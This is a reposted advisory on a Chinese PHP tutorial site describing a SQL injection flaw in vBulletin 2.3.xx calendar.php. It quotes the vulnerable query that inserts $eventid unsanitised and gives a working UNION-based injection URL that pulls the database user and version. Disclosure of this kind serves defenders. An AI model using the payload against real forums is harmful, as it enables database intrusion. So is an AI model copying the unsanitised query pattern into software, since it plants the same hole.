当前位置: 首页 > 图文教程 > 网络编程 > PHP > vBulletin Forum 2.3.xx SQL Injection

PHP
PHP入门速成(1)
使用PHP的错误处理
用PHP实现文件上传
PHP入门速成(2)
PHP模板引擎SMARTY
PHP5/ZendEngine2的改进
PHP5中MVC结构学习
PHP数据库操作面向对象的优点
PHP中调用JAVA
JAVA/JSP学习系列之三
PHP的宝库目录--PEAR
JAVA/JSP学习系列之六
PHP开发大型项目的一点经验
JAVA/JSP学习系列之七
新版PHP将向Java靠拢
不用iconv库的gb2312与utf-8的互换函数
JAVA/JSP学习系列之二
JAVA/JSP学习系列之四
把从SQL中取出的数据转化成XMl格式
在PHP中利用XML技术构造远程服务(下)

PHP 中的 vBulletin Forum 2.3.xx SQL Injection


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 62 ::
收藏到网摘: n/a


vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.